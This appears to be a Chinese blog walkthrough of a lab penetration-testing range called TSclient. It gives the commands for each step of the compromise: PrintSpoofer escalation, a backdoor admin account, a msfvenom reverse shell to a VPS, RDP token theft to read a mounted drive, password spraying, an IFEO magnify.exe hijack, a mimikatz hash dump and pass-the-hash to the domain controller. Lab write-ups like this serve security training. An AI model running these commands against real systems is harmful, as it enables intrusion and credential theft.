春秋云镜 TSclient -- Walkthrough

入口shell

fscan扫到了ISS的弱密码

image-20230807234458369

用MDUT成功拿shell

image-20230807234752590

这次的C2我用的是vshell。

内网信息

fscan扫描结果如下

172.22.8.18 ISS
172.22.8.31 win19 XIAORANG\WIN19-CLIENT
172.22.8.46 win2016 WIN2016.xiaorang.lab
172.22.8.15 DC

(后面知道,除了18以外,另外三台机子都在域内,三个flag分别需要18的system权限,46的system权限和15的system权限)

.18本地提权

flag01在ISS机子的Administrator桌面,也就是需要提权。

由于是ISS,想到用potato家族获取高权限用户令牌来提权。记录一下这一个环境的特权信息,系统是windows10。

C:\Windows\system32>whoami /priv

特权信息

特权名                        描述                 状态
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌   已禁用
SeIncreaseQuotaPrivilege      为进程调整内存配额   已禁用
SeChangeNotifyPrivilege       绕过遍历检查         已启用
SeImpersonatePrivilege        身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege       创建全局对象         已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集       已禁用

我先尝试了自己编译的SweetPotato,但是出现了报错。最后还是用PrintSpoofer成功提权。

./PrintSpoofer.exe -i -c cmd

image-20230808120816945

另外,通过systeminfo发现ISS这个机子并没有加入域。

image-20230808121030418

为了方便,先打开这个机子的3389,添加一个管理员RDP。

net user bridge qwer1234! /add
net localgroup administrators bridge /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

读取.18上TSclient挂载的远程C盘

结合靶场名字,可能在TSclient里有点东西。这方面的知识点可以参考

利用 mstsc 反向攻击思路整理

输入quser会发现John用户远程连上了本机

image-20230808121353821

image-20230808121400734

在这个环境中,管理员权限可以偷RDP用户的token,从而查看其挂载的盘。

image-20230808131116769

我先尝试了SharpToken,但是提示缺少组件

image-20230808130827961

最后用msf上线,然后用它的incognito模块。

生成反弹shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=vpsip LPORT=9999 -f exe -o msf.exe

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost vpsip
set lport 9999
exploit

上线后依次输入

use incognito
list_tokens -u

image-20230808122029083

获取John的令牌并以他的身份运行cmd

impersonate_token WIN-WEB\\John

image-20230808122044787

然后就能拿到TSclient挂载的C盘

net use查看挂载情况

image-20230808122311698

C盘下的credential.txt,记录着John这个域用户的账号和密码,以及一个hint。

xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

Do you know how to hijack Image?

登录.46

刚刚得到了John这个域用户,用它来做一个密码喷洒

echo 'crackmapexec smb 172.22.8.0/24 -u Aldrich -p Ald@rLMWuy7Z!#'>crack.sh
proxychains -q ./crack.sh

image-20230808122950035

从46,15,31随便选一台机子登录即可。但是直接登陆的话可能会有问题,因为实际上这个用户的密码过期了。我先后用linux的remmina和windows的mstsc.exe都没办法直接登录,最后还是用linux的rdesktop登陆了。

proxychains rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'

登录之后会要求改密码

image-20230808123325421

改好密码后,用它登录46即可。

域内信息搜集

.46是在域里的

image-20230808123451057

用bloodhound信息搜集,发现.46这台机子的机器用户是域管

image-20230808123551919

那接下来的目标就是,在.46上本地提权至system,然后PTH拿下域控。

.46本地提权

预期解

提示的Do you know how to hijack Image?,暗示要用镜像劫持,可以参考

干货 | 最全Windows权限维持总结

用get-acl查看IFEO权限,fl命令是为了把一行显示为多行

Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl

image-20230808124437821

其中Authenticated Users指的是所有非来宾用户,也包括John,拥有对这个目录的所有权限。

把cmd绑定到放大镜上

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

然后开始菜单-锁定,点出右下角的放大镜

image-20230808124253558

得到一个system权限的cmd

image-20230808124306763

加rdp,读到flag02

image-20230808124941060

非预期

KrbRelayUp域内提权一把梭

detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup

.15域控

在.46上用mimikatz读机器用户的hash

Authentication Id : 0 ; 23561 (00000000:00005c09)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2023/8/7 12:08:47
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : fabd7531c3c36b8200cb388bf5963fde
	 * SHA1     : 3db64af963db265aa291171b345d4e3067c3a3d4
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

然后PTH+wmiexec拿shell

proxychains python3 wmiexec.py -hashes :fabd7531c3c36b8200cb388bf5963fde xiaorang.lab/WIN2016\$@172.22.8.15

image-20230808125934976

image-20230808125216764

Bonus1: 给内网机子上vshell

入口机是windows,用netsh加一个代理转发即可:

netsh interface portproxy add proxy1 listenaddress=172.22.8.18 listenport=8024 connectaddress=vpsip connectport=8024

删除:

netsh interface portproxy delete proxy1

如果是linux,可以用socat

socat TCP-LISTEN:8024,reuseaddr,fork TCP:vpsip:8024

vshell的客户端填入口机内网ip

image-20230808125424906

Bonus2: HTTP文件传输方案

有人嫌现成的工具太重,自己无聊写了个简单的(

ServeBoy

posted @ 2023-08-21 09:14  KingBridge  阅读(602)  评论(0编辑  收藏  举报